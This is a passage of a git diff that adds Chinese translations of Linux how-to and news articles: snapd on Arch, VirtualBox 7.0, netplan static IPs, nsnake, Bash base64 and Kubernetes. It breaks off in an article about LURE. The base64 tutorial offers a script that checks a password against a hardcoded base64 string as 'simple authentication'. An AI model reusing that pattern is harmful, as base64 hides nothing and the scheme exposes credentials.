AUR 目录,如下所示: + +``` +git clone https://aur.archlinux.org/snapd + +cd snapd +``` + +![克隆仓库][8] + +然后构建 `snapd` 包: + +``` +makepkg -si +``` + +当它要求安装其他依赖包时输入 `yes`。 + +![手动构建 snapd][9] + +你已安装 `snapd` 守护程序。但是,需要启用它以在启动时自动启动。 + +``` +sudo systemctl enable snapd --now + +sudo systemctl enable snapd.apparmor --now #start snap applications + +sudo ln -s /var/lib/snapd/snap /snap #optional: classic snap support +``` + +![启动时启用 Snap][10] + +手动构建包的主要缺点是每次新更新启动时你都必须手动构建。使用 AUR 助手为我们解决了这个问题。 + +### 总结 + +我更喜欢 Arch Linux 中的 pacman 和 AUR。很少能看到不在 AUR 中但以其他格式提供的应用。尽管如此,在某些你希望直接从源获取它的情况下,使用 Snap 可能是有利的,例如 [在 Arch 上安装 Spotify][11]。 + +希望本教程对你有所帮助。如果你有任何问题,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/install-snap-arch-linux/ + +作者:[Pranav Krishna][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pranav/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-aur-helpers/ +[2]: https://itsfoss.com/pacman-command/ +[3]: https://itsfoss.com/wp-content/uploads/2022/10/yay-makepkg.png +[4]: https://itsfoss.com/wp-content/uploads/2022/10/yay-install-snapd.png +[5]: https://itsfoss.com/update-arch-linux/ +[6]: https://itsfoss.com/wp-content/uploads/2022/10/snap-hello-world-1.png +[7]: https://itsfoss.com/wp-content/uploads/2022/10/snapd-manual-install-dependencies.png +[8]: https://itsfoss.com/wp-content/uploads/2022/10/snapd-manual-install-clone.png +[9]: https://itsfoss.com/wp-content/uploads/2022/10/snapd-manual-install-makepkg-800x460.png +[10]: https://itsfoss.com/wp-content/uploads/2022/10/enable-snapd-startup-2.png +[11]: https://itsfoss.com/install-spotify-arch/ diff --git a/published/202210/20221011 VirtualBox 7.0 Releases With Secure Boot and Full VM Encryption Support.md b/published/202210/20221011 VirtualBox 7.0 Releases With Secure Boot and Full VM Encryption Support.md new file mode 100644 index 0000000000..ab610a6797 --- /dev/null +++ b/published/202210/20221011 VirtualBox 7.0 Releases With Secure Boot and Full VM Encryption Support.md @@ -0,0 +1,106 @@ +[#]: subject: "VirtualBox 7.0 Releases With Secure Boot and Full VM Encryption Support" +[#]: via: "https://news.itsfoss.com/virtualbox-7-0-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15141-1.html" + +VirtualBox 7.0 发布,支持安全启动和全加密虚拟机 +====== + +> VirtualBox 7.0 是自其上次大版本更新以来的一次重大升级。有一些不错的进步! + +![伴随着 VirtualBox 7.0 的发布,支持安全启动和全加密虚拟机][1] + +对 VirtualBox 来说,这是一次大的升级。这个版本值得关注,因为我们在最近几年没有看到过它的大版本更新。 + +对于那些不熟悉 VirtualBox 的人来说,它是一个由 [甲骨文公司][2] 开发的虚拟化软件。 + +随着 VirtualBox 7.0 的推出,增加了许多新功能。 + +让我们来看看其中最关键的一些。 + +### VirtualBox 7.0 的新内容 + +![virtualbox 7.0][3] + +VirtualBox 7.0 是一次有益的升级。有图标更新、主题改进,以及一些关键的亮点,包括: + +* 一个显示运行中的客体Guest的性能统计的新工具。 +* 支持安全启动。 +* 支持全加密虚拟机Full VM Encryption(通过 CLI)。 +* 重新设计的新建虚拟机向导。 + +#### 通过命令行管理的全加密虚拟机 + +虚拟机(VM)现在可以完全加密了,但只能通过命令行界面。 + +这也包括加密的配置日志和暂存状态。 + +截至目前,用户只能通过命令行界面对机器进行加密,未来将增加不同的方式。 + +#### 新的资源监控工具 + +![VirtualBox 7.0 的资源监控][4] + +新的实用程序可以让你监控性能统计,如 CPU、内存使用、磁盘 I/O 等。它将列出所有正在运行的客体的性能统计。 + +这不是最吸引人的补充,但很有用。 + +#### 改进的主题支持 + +对主题的支持在所有平台上都得到了改进。在 Linux 和 macOS 上使用原生引擎,而在 Windows 上,有一个单独的实现。 + +#### 对安全启动的支持 + +VirtualBox 现在支持安全启动,增强了对恶意软件、病毒和间谍软件的安全性。 + +它还将防止虚拟机使用损坏的驱动程序启动,这对企业应用非常重要。 + +使用那些需要安全启动才能运行的操作系统的用户现在应该能够轻松创建虚拟机了。 + +#### 其他变化 + +VirtualBox 7.0 是一次重大的升级。因此,有几个功能的增加和全面的完善。 + +例如,新件虚拟机向导现在已经重新设计,以整合无人值守的客体操作系统安装。 + +![virtualbox 7.0 无人值守的发行版安装][5] + +其他改进包括: + +* 云端虚拟机现在可以被添加到 VirtualBox,并作为本地虚拟机进行控制。 +* VirtualBox 的图标在此版本中得到了更新。 +* 引入了一个新的 3D 栈,支持 DirectX 11。它使用 [DXVK][6] 来为非 Windows 主机提供同样的支持。 +* 支持虚拟 TPM 1.2/2.0。 +* 改进了多显示器设置中的鼠标处理。 +* Vorbis 是音频录制的默认音频编解码器。 + +你可以查看 [发行说明][7] 以了解更多信息。 + +如果你正在寻找增强的功能,如更好的主题支持、加密功能、安全启动支持和类似的功能添加,VirtualBox 7.0 是一个不错的升级。 + +💬 *你对这次升级有什么看法?你会使用较新的版本还是暂时坚持使用旧版本的虚拟机?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/virtualbox-7-0-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/virtualbox-7-0-release.jpg +[2]: https://www.oracle.com/in/ +[3]: https://news.itsfoss.com/content/images/2022/10/VirtualBox_7.0.png +[4]: https://news.itsfoss.com/content/images/2022/10/VirtualBox_7.0_Resource_Monitor.png +[5]: https://news.itsfoss.com/content/images/2022/10/VirtualBox_7.0_Unattended_Guest_Install.png +[6]: https://github.com/doitsujin/dxvk +[7]: https://www.virtualbox.org/wiki/Changelog-7.0 diff --git a/published/202210/20221012 How to Set Static IP Address on Ubuntu Server 22.04.md b/published/202210/20221012 How to Set Static IP Address on Ubuntu Server 22.04.md new file mode 100644 index 0000000000..2d81af776b --- /dev/null +++ b/published/202210/20221012 How to Set Static IP Address on Ubuntu Server 22.04.md @@ -0,0 +1,128 @@ +[#]: subject: "How to Set Static IP Address on Ubuntu Server 22.04" +[#]: via: "https://www.linuxtechi.com/static-ip-address-on-ubuntu-server/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15181-1.html" + +如何在 Ubuntu 服务器 22.04 上设置静态 IP 地址 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/27/091312aohaix6g6kay68xa.jpg) + +> 在这篇文章中,我们将介绍如何在 Ubuntu 服务器 22.04 上设置静态 IP 地址。 + +强烈建议在 Linux 服务器上使用静态 IP,因为它会在重启后保持不变。静态 IP 对邮件服务器、Web 服务器和文件服务器等服务器起着重要作用。 + +**准备条件** + +* 最小安装的 Ubuntu 服务器 22.04 +* 具有 `sudo` 管理员权限的普通用户 + +在 Ubuntu 服务器 22.04 中,网络由 netplan 程序控制,因此我们将使用 netplan 在 Ubuntu 服务器上配置静态 IP 地址。 + +注意:我们不能使用 [nmcli 程序][1],因为它不是 Ubuntu 服务器上默认安装的一部分。 + +### 在 Ubuntu 服务器 22.04 上设置静态 IP 地址 + +登录到你的 Ubuntu 服务器 22.04,查找 netplan 配置文件。它位于 `/etc/netplan` 目录下。 + +``` +$ cd /etc/netplan/ +$ ls -l +total 4 +-rw-r--r-- 1 root root 116 Oct 12 04:03 00-installer-config.yaml +$ +``` + +运行以下 `cat` 命令以查看 `00-installer-config.yaml` 的内容。 + +注意:配置文件的名称可能因你的设置而异。由于它是一个 yaml 文件,因此请确保在编辑时保持缩进和语法。 + +``` +$ cat 00-installer-config.yaml +``` + +输出: + +![Default-Content-netplan-ubuntu-server][2] + +根据上面的输出,它说我们有 `ens33` 接口,它正在从 DHCP 服务器获取 IP。查看接口名称的另一种方法是通过 `ip` 命令。 + +现在,要配置静态 IP 代替 DHCP,使用 `vi` 或 `nano` 编辑器编辑 netplan 配置文件并添加以下内容。 + +``` +$ sudo vi 00-installer-config.yaml +# This is the network config written by 'subiquity' +network: + renderer: networkd + ethernets: + ens33: + addresses: + - 192.168.1.247/24 + nameservers: + addresses: [4.2.2.2, 8.8.8.8] + routes: + - to: default + via: 192.168.1.1 + version: 2 +``` + +保存并关闭文件。 + +![Updated-Netplan-Config-File-Content-Ubuntu-Server][3] + +在上面的文件中,我们使用了以下内容, + +* `ens33` 为接口名称 +* 用于设置静态 IP 的地址 +* `nameservers` 用于指定 DNS 服务器的 IP +* 用于指定默认网关的路由 + +注意:根据你的环境更改 IP 详细信息和接口名称。 + +要是上述修改生效,请使用以下 `netplan` 命令应用这些更改: + +``` +$ sudo netplan apply +``` + +运行以下 IP 命令查看接口上的 IP 地址: + +``` +$ ip addr show ens33 +``` + +要查看默认路由,请运行: + +``` +$ ip route show +``` + +上述命令的输出。 + +![ip-addr-route-command-output-ubuntu-server][4] + +完美,以上命令的输出确认静态 IP 和路由配置成功。 + +这就是这篇文章的全部内容。请在下面的评论部分发表你的问题和反馈。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/static-ip-address-on-ubuntu-server/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/configure-ip-with-nmcli-command-linux/ +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/10/Default-Content-netplan-ubuntu-server.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/10/Updated-Netplan-Config-File-Content-Ubuntu-Server.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/10/ip-addr-route-command-output-ubuntu-server.png diff --git a/published/202210/20221013 Enjoy the Classic Snake Game in Your Linux Terminal.md b/published/202210/20221013 Enjoy the Classic Snake Game in Your Linux Terminal.md new file mode 100644 index 0000000000..8e365e371a --- /dev/null +++ b/published/202210/20221013 Enjoy the Classic Snake Game in Your Linux Terminal.md @@ -0,0 +1,106 @@ +[#]: subject: "Enjoy the Classic Snake Game in Your Linux Terminal" +[#]: via: "https://www.debugpoint.com/snake-game-linux-terminal/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15186-1.html" + +在你的 Linux 终端中玩经典的贪吃蛇游戏 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/28/091539oanrjizald7rzr7a.jpg) + +> 这是你在 Linux 终端中安装和玩经典贪吃蛇的方法。 + +还记得老式手机经典简单的贪吃蛇吗?我记得玩了几个小时。嘿,当时没有其他选择,对吧?智能手机仍未上市。而你所拥有的只有这个。 + +![Nokia 3310 中的旧版贪吃蛇游戏][1] + +但随着时间的推移,贪吃蛇被具有各种选项的更高级的图形游戏所取代。但没有什么能比得上经典贪吃蛇游戏。 + +如果我告诉你,你可以在 Linux 终端中玩这个游戏呢?无论你运行的是 Ubuntu Linux、Fedora Linux 还是 Arch Linux,都无关紧要。该游戏适用于大多数 [发行版][2]。 + +![nsnake - 主菜单][3] + +### 安装 nSnake – Linux 终端的贪吃蛇 + +你可以使用以下方法通过终端安装 [此游戏][4]。 + +对于 Ubuntu、Linux Mint 或其他相关发行版: + +``` +sudo apt install nsnake +``` + +对于 Fedora Linux 和其他: + +``` +sudo dnf install nsnake +``` + +对于 Arch Linux,此游戏可在 [Arch 用户仓库(AUR)][5] 中获得。你可以使用以下步骤安装它。 + +* [设置 Yay AUR 助手][6] +* 然后打开终端并运行以下命令 + +``` +yay -S nsnake +``` + +上面的命令会安装游戏的软件仓库版本,它可能不是最新的。但是,如果你想要最新版本,你可能需要通过 GitHub 编译源代码。我在本页末尾添加了编译说明供你参考。 + +### 玩游戏 + +玩游戏非常简单。在终端中输入 `nsnake`,这将启动游戏。 + +要立即退出,请按 `q`。 + +以下是默认键绑定。 + +* `箭头键` - 移动蛇 +* `q` – 退出游戏 +* `p` – 暂停游戏 + +你还可以通过主菜单以各种方式配置游戏。 + +![nsnake Linux 终端贪吃蛇设置][7] + +完成了,玩吧! + +### 编译 + +要编译最新版本,请在所有 Linux 发行版中使用以下命令。 + +哦,确保你已经安装了 `git` 和 `ncurses-devel`,它们是编译所需的包。 + +``` +git clone https://github.com/alexdantas/nSnake.git +cd nsnake +make +make install +``` + +那么,你喜欢贪吃蛇游戏吗?与其他基于终端的游戏相比,你更喜欢它吗?在下面的评论框中与其他读者分享你的观点。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/snake-game-linux-terminal/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/12/Nokia-3310-with-legacy-snake-game.jpg +[2]: https://www.debugpoint.com/category/distributions +[3]: https://www.debugpoint.com/wp-content/uploads/2021/12/nsnake-Game-Main-Menu.jpg +[4]: https://github.com/alexdantas/nsnake +[5]: https://aur.archlinux.org/packages/nsnake/ +[6]: https://www.debugpoint.com/2021/01/install-yay-arch/ +[7]: https://www.debugpoint.com/wp-content/uploads/2021/12/nsnake-Linux-Terminal-Snake-Game-Settings.jpg diff --git a/published/202210/20221013 Learn Bash base64 Encode and Decode With Examples.md b/published/202210/20221013 Learn Bash base64 Encode and Decode With Examples.md new file mode 100644 index 0000000000..c69b31a88a --- /dev/null +++ b/published/202210/20221013 Learn Bash base64 Encode and Decode With Examples.md @@ -0,0 +1,161 @@ +[#]: subject: "Learn Bash base64 Encode and Decode With Examples" +[#]: via: "https://www.debugpoint.com/bash-base64-encode-decode/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15189-1.html" + +通过示例来学习 Bash base64 的编码和解码 +====== + +> 你想了解 Base64 编码和解码的方法吗?在本教程中,我们使用 Bash shell 脚本和各种示例解释了 Base64 编码和解码步骤。 + +![](https://img.linux.net.cn/data/attachment/album/202210/29/163350mde5lll86j6lspln.jpg) + +Base64 编码方法可以将二进制数据转换为文本,如此编码数据可以在任何通信媒介进行传输。这种编码方法主要用于电子邮件加密的过程。 + +总体而言,Base64 编码方法是一种二进制到文本的编码方案,以 ASCII 字符串格式表示 8 字节的二进制数据。使用这种编码方法在各种媒介之间传输数据时有几个优势,尤其是对于那些能可靠地支持文本内容的媒介。因此,Base64 编码方法在万维网上被广泛使用。这种编码方案最常用于电子邮件附件的编码上。 + +根据 Base64 编码表,二进制数据可以经 Base64 编码后可以转换为 64 个不同的 ASCII 字符,包含大写字母 `A` 到 `Z`,小写字母 `a` 到 `z`,数字 `0` 到 `9`,以及符号 `+` 和 `/`,这些字符在传输和打印上十分便捷。 + +这 64 个 ASCII 字符代表着从 `000000` 到 `111111` 的二进制值。每个非末尾的 Base64 编码字符恰好代表 6 位二进制值。 + +![Base64 Index Table][2] + +### Bash base64 的编码和解码 + +#### 句法 + +在我们提供示例之前,首先介绍 Base64 的基本语法。 + +``` +base64 [OPTIONs] [INFILE] [OUTFILE] +``` + +- 选项(`Option`):参照下面的表格,你可以提供任何的选项或组合多个选项。 +- 输入(`INFILE`):你可以从标准输入(如命令行)或文件中输入。 +- 输出(`OUTFILE`):你可以将输出重定向到标准输出,如终端或文件中。 + +| 选项 | 描述 | +| :- | :- | +| `-e` 或者 `--encode` | 此选项用于对标准输入的数据或从文件中读入的数据进行编码。这是默认选项。 | +| `-d` 或者 `--decode` | 此选项用于对标准输入的数据或从文件中读入的已 Base64 编码数据进行解码。 | +| `-n` 或者 `--noerrcheck` | 默认情况下,Base64 在解码数据时,会自动检查是否有错误。你可以使用该选项在解码时忽略检查。 | +| `-i` 或 `--ignore-garbage` | 此选项用于在解码时忽略非字母字符。 | +| `-u` 或者 `--help` | 此选项用于获取有关使用此命令的信息。 | + +#### 示例 1:基本编码 + +在 Linux 中,默认已安装好 Base64 软件包。因此,你可以轻松地从命令行使用 Base64。要对一个字符串或文本进行编码,你可以通过管道将其传递到 `base64` 命令,并获取待编码的文本。在下面的示例中,对字符串 `debugpoint.com` 进行了 Base64 编码。 + +``` +echo "debugpoint.com" | base64 +``` + +![bash base64 encode and decode - example 1][3] + +结果是经过 Base64 编码后的字符串。 + +#### 解释 + +Base64 编码方法使用下面的几个步骤来转换输入的数据。首先,每个输入字符转换为 8 位二进制值,接着,二进制字符串拆分为一组组 6 位的二进制值,然后,每个 6 位的二进制值被转换为十进制值。 + +最后,每个十进制值都通过 Base64 编码索引表转换为 Base64 字符。 + +在上面的示例中,第一个字符 `d` 被转换为二进制 `01100100`。前 6 位是 `011001`,转换为十进制是 `25`。`25` 在 Base64 编码索引表中对应着 `Z`。整个输入的文本流都像如此编码。请参阅以下编码过程的示例。 + +![Base64 Encode and Decode – inner working][4] + +#### 示例 2:基本解码 + +要解码字符串,需要将编码值传递给 `base64` 命令,选项为 `--decode`,它将输出你之前输入的字符串。 + +![bash base64 encode and decode - example 2 (decode the same example)][5] + +#### 示例 3:对文本文件进行编码 + +示例 1 中的同一命令也可用于编码文本文件,并将输出重定向到另一个文本文件。方法如下。 + +``` +base64 example3.txt > example3-encoded.txt +``` + +![Encode a text file][6] + +#### 示例 4:对文本文件进行解码 + +要解码使用 Base64 编码的文本文件,只需使用 `--decode` 或 `-d` 选项,并传递文本文件名。 + +``` +base64 -d example3-encoded.txt +``` + +#### 示例 5:对用户输入的数据进行编码 + +使用 Bash shell 编程,你可以通过终端接收用户的输入,并对其进行 Base64 编码。你需要先编写一个简单的 shell 脚本,并在授予可执行权限后执行。 + +以下就是一个简单的示例,它从用户那里获得输入,然后进行 Base64 编码,最终显示编码的字符串。 + +``` +#!/bin/bash +#Sample program to take input, encode to base64 and display on terminal +#Example by www.debugpoint.com +echo "Enter text for encoding to base64:" +read input_text +output_text=`echo -n $input_text | base64` +echo "The Base64 Encoded text is: $output_text" +``` + +![Custom input - base64 encode and decode using script][7] + +#### 示例 6:用 Base64 进行简单的身份认证 + +你可以运用上述的编码和解码方法,实现一个简单的身份验证系统。你可以让用户输入密码或密码,然后将密码存储在文件中。或者进行实时比较。 + +如果存储的编码字符串与用户输入的文本再编码的字符串相匹配,则用户可以通过验证。虽然这是一种检查身份验证的很简单的方法,但有时这对一些简单的业务案例很有用。 + +``` +#!/bin/bash +#Sample program to take input, encode to base64 and display on terminal +#Example by www.debugpoint.com +echo "Type your password" +read pwd1 +decoded_text=`echo 'U2lsZW5jZSBpcyBnb2xkZW4h' | base64 --decode` +if [[ $pwd1 == $decoded_text ]] +then + echo "You are a valid user." +else + echo "You are NOT a valid user." +fi +``` + +![A Simple Authentication using bash base64][8] + +### 总结 + +我希望你能通过这些示例,学会 [Base64][9] 编码和解码的基础知识。此外,你也了解到 Base64 的内部编码方式。如果这对你很有帮助,或你还需要有关此主题的其他教程,请在下面的评论区中告诉我吧。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/bash-base64-encode-decode/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2021/11/base64example-1024x576.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2021/11/Base64-Index-Table.png +[3]: https://www.debugpoint.com/wp-content/uploads/2021/11/bash-base64-encode-and-decode-example-1.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2021/11/Base64-Encode-and-Decode-inner-working.png +[5]: https://www.debugpoint.com/wp-content/uploads/2021/11/bash-base64-encode-and-decode-example-2-decode-the-same-example.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2021/11/Encode-a-text-file.png +[7]: https://www.debugpoint.com/wp-content/uploads/2021/11/Custom-input-base64-encode-and-decode-using-script.png +[8]: https://www.debugpoint.com/wp-content/uploads/2021/11/A-Simple-Authentication-using-bash-base64.png +[9]: https://linux.die.net/man/1/base64 diff --git a/published/202210/20221014 Can Kubernetes help solve automation challenges-.md b/published/202210/20221014 Can Kubernetes help solve automation challenges-.md new file mode 100644 index 0000000000..ff7192f67f --- /dev/null +++ b/published/202210/20221014 Can Kubernetes help solve automation challenges-.md @@ -0,0 +1,72 @@ +[#]: subject: "Can Kubernetes help solve automation challenges?" +[#]: via: "https://opensource.com/article/22/10/kubernetes-solve-automation-challenges" +[#]: author: "Rom Adams https://opensource.com/users/romdalf" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15193-1.html" + +Kubernetes 能否帮助解决自动化挑战? +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/30/105625ocz9sd9z6g4dzb44.jpg) + +> 组织层面的自动化一直是一个难以实现的目标,但 Kubernetes 或许能够改变这一切。 + +当我在 2002 年采用 Gentoo Linux 作为我的主要操作系统时,我开始了我的自动化之旅。二十年后,自动化还没有完成。当我与客户和合作伙伴会面时,他们分享了团队内部的自动化成果,但他们也描述了在组织层面实现类似成功所面临的挑战。 + +大多数 IT 组织都能够端到端地提供虚拟机,从而将过去 4 周的交付周期缩短到仅 5 分钟。这种级别的自动化本身就是一个复杂的工作流程,需要网络(IP 地址管理、DNS、代理、网络区域等)、身份访问管理、[虚拟机管理程序][2]、存储、备份、更新操作系统、应用最新的配置文件、监控、安全和强化以及合规性基准测试,等等。哇,这么多! + +满足高速、可扩展和按需自动化的业务需求并不容易。例如,来看看经典的网上商店或提交纳税申报表的在线政府服务,其工作负载有明确的峰值需要面对。 + +处理此类负载的一种常见方法是拥有一个超大的服务器集群,以供 IT 专业人员的特定团队使用,监控客户或公民的季节性涌入。每个人都希望及时部署整个栈。他们希望基础架构在混合云场景的上下文中运行工作负载,使用“构建-消耗-回收build-consume-trash”模型来优化成本,同时从无限弹性中受益。 + +换句话说,每个人都想要乌托邦式的“云体验”。 + +### 云真的能交付吗? + +尚有一线机会,这主要归功于 [Kubernetes][3] 的设计方式。Kubernetes 的指数级普及推动了创新,取代了管理平台和应用的标准传统做法。 Kubernetes 需要使用 “万物皆代码Everything-as-Code”(EaC)来定义从简单的计算节点到 TLS 证书的所有资源的期望状态。Kubernetes 强制使用三种主要的设计结构: + +* 一个标准接口,以减少内部和外部组件之间的整合问题 +* API 优先及仅 API 的方法来标准化其所有组件的 CRUD(创建、读取、更新、删除)操作 +* 使用 [YAML][4] 作为通用语言,以简单易读的方式定义这些组件的所有所需状态 + +这三个关键组成部分基本上是选择自动化平台的相同要求,至少如果你想让跨职能团队轻松采用是这样的。这也模糊了团队之间的职责分工,有助于提高跨越孤岛的协作,这是一件好事! + +事实上,采用 Kubernetes 的客户和合作伙伴正在加速进入超自动化状态。Kubernetes 有机地推动团队采用多种 [DevOps 基础和实践][5],如:EaC、[使用 Git 进行版本控制][6]、同行评审、[文档即代码][7]Documentation as Code,并鼓励跨职能协作。这些实践有助于提高团队的自动化技能,并帮助团队在处理应用生命周期和基础架构的 GitOps 和 CI/CD 管道方面取得良好的开端。 + +### 让自动化成为现实 + +你没看错!网络商店或政府报告等复杂系统的整个栈可以用清晰、可理解、通用的术语定义,可以在任何本地或云提供商上执行。可以定义具有自定义指标的自动伸缩器以触发所需栈的即时部署,以解决季节性高峰期间客户或市民的涌入问题。当指标恢复正常,且云计算资源不再有存在的理由时,你将它们回收并恢复常规运营,而由一组核心资产在本地接管业务,直到下一次激增。 + +### 鸡和蛋的悖论 + +考虑到 Kubernetes 和云原生模式,自动化是必须的。但它提出了一个重要的问题:一个组织可以在解决自动化战略之前采用 Kubernetes 吗? + +似乎从 Kubernetes 开始可以激发更好的自动化,但这并不是一个一成不变的结论。工具不是对技能、实践和文化问题的解决方案。但是,设计良好的平台可以成为 IT 组织内学习、变革和跨职能协作的催化剂。 + +### 开始使用 Kubernetes + +即使你觉得自己错过了自动化列车,也不要害怕从简单、不复杂的栈上开始使用 Kubernetes。当你 [掌握了初始步骤][8],就可以拥抱这个出色的编排系统的简单性,并根据更复杂的需求进行迭代。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/kubernetes-solve-automation-challenges + +作者:[Rom Adams][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/romdalf +[b]: https://github.com/lkxed +[2]: https://www.redhat.com/en/topics/virtualization/what-is-a-hypervisor?intcmp=7013a000002qLH8AAM +[3]: https://www.redhat.com/en/topics/containers/what-is-kubernetes?intcmp=7013a000002qLH8AAM +[4]: https://opensource.com/article/21/9/yaml-cheat-sheet +[5]: https://opensource.com/resources/devops +[6]: https://opensource.com/life/16/7/stumbling-git +[7]: https://opensource.com/article/21/3/devops-documentation +[8]: https://opensource.com/article/17/11/getting-started-kubernetes diff --git a/published/202210/20221014 First Look at LURE! Bringing AUR to All Linux Distros.md b/published/202210/20221014 First Look at LURE! Bringing AUR to All Linux Distros.md new file mode 100644 index 0000000000..34ab9e141c --- /dev/null +++ b/published/202210/20221014 First Look at LURE! Bringing AUR to All Linux Distros.md @@ -0,0 +1,132 @@ +[#]: subject: "First Look at LURE! Bringing AUR to All Linux Distros" +[#]: via: "https://news.itsfoss.com/lure-aur/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15151-1.html" + +LURE 初窥!将 AUR 带入所有 Linux 发行版 +====== + +> LURE 是一个新的开源项目,它希望成为所有发行版的 AUR。 + +![LURE 是一个新的开源项目,它希望成为所有发行版的 AUR!][1] + +AUR(Arch 用户仓库Arch User Repository)是一个由社区驱动的基于 Arch 的 Linux 的发行版仓库。 + +**简而言之:** 它可以帮助你安装官方仓库中没有的软件包,并让你获得最新的版本。 + +我发现它对我在 [Manjaro Linux][2] 上的体验很有帮助。 + +从技术上讲,AUR 从源头构建一个软件包,然后利用软件包管理器(`pacman`)来安装它。 + +你也可以在我们的详细指南中探索更多关于它的信息。 + +> **[什么是 AUR? 如何在 Arch 和 Manjaro Linux 中使用 AUR?][3]** + +📢 现在你对 AUR 有了一个基本的了解,有一个 **新的开源项目** 旨在将 AUR 的功能带到所有的发行版中。 + +这个项目被称为 “Linux 用户仓库Linux User REpository”(LURE)。 + +> 💡 LURE 项目正处于 alpha 阶段,由创建者在几周前宣布。所以,它完全是一个正在进行的工作。 + +### 已经有这样的项目了? + +![lure 添加仓库][5] + +**没有。** + +开发者们已经尝试做一个 AUR 的替代品,但是是针对特定的发行版。就像 [makedeb 软件包仓库][6] 是针对 Debian 的。 + +LURE 是一个雄心勃勃的想法,可以在你选择的任何发行版上工作。 + +它试图成为一个帮助你使用类似于 `PKGBUILD` 的脚本为你的发行版创建原生软件包的工具。 + +> **[创建 PKGBUILD 为 Arch Linux 制作软件包][7]** + +开发者在 [Reddit 公告帖子][9] 中提到了一些技术细节: + +> 我的项目叫 LURE,是 “Linux 用户仓库”的简称。它构建原生软件包,然后使用系统软件包管理器安装它们,就像 AUR 一样。它使用一个类似于 AUR 的 `PKGBUILD` 的构建脚本来构建软件包。 +> +> 它是用纯 Go 语言编写的,这意味着它在构建后没有任何依赖性,除了一些特权提升命令(`sudo`,`doas` 等等)和任何一个支持的软件包管理器,目前支持 `pacman`、`apt`、`apk`(Alpine Linux 上,不是安卓)、`dnf`、`yum` 和 `zypper`。 + +**听起来很棒!** + +> **[LURE 项目Repo][10]** + +你也可以在它的 [GitHub 镜像][11] 上探索更多信息。 + +### 使用 LURE + +你不必安装一个额外的软件包管理器来使它工作,它可以自动与你系统的软件包管理器一起工作。 + +因此,如果它在其仓库(或任何其添加的仓库)中没有找到一个包,它就会转到系统的默认仓库,并从那里安装它。就像我用 `lure` 命令在我的系统上安装/移除 `neofetch` 一样。 + +![lure neofetch remove][12] + +虽然该项目处于早期开发阶段,但它为各种发行版提供了 [二进制包][13],以让你安装和测试它们。 + +![][14] + +目前,它的仓库包括一个来自创建者自己的项目。但你可以尝试添加一个仓库并构建/安装东西。 + +为了方便起见,我试着在它的仓库中安装软件包。 + 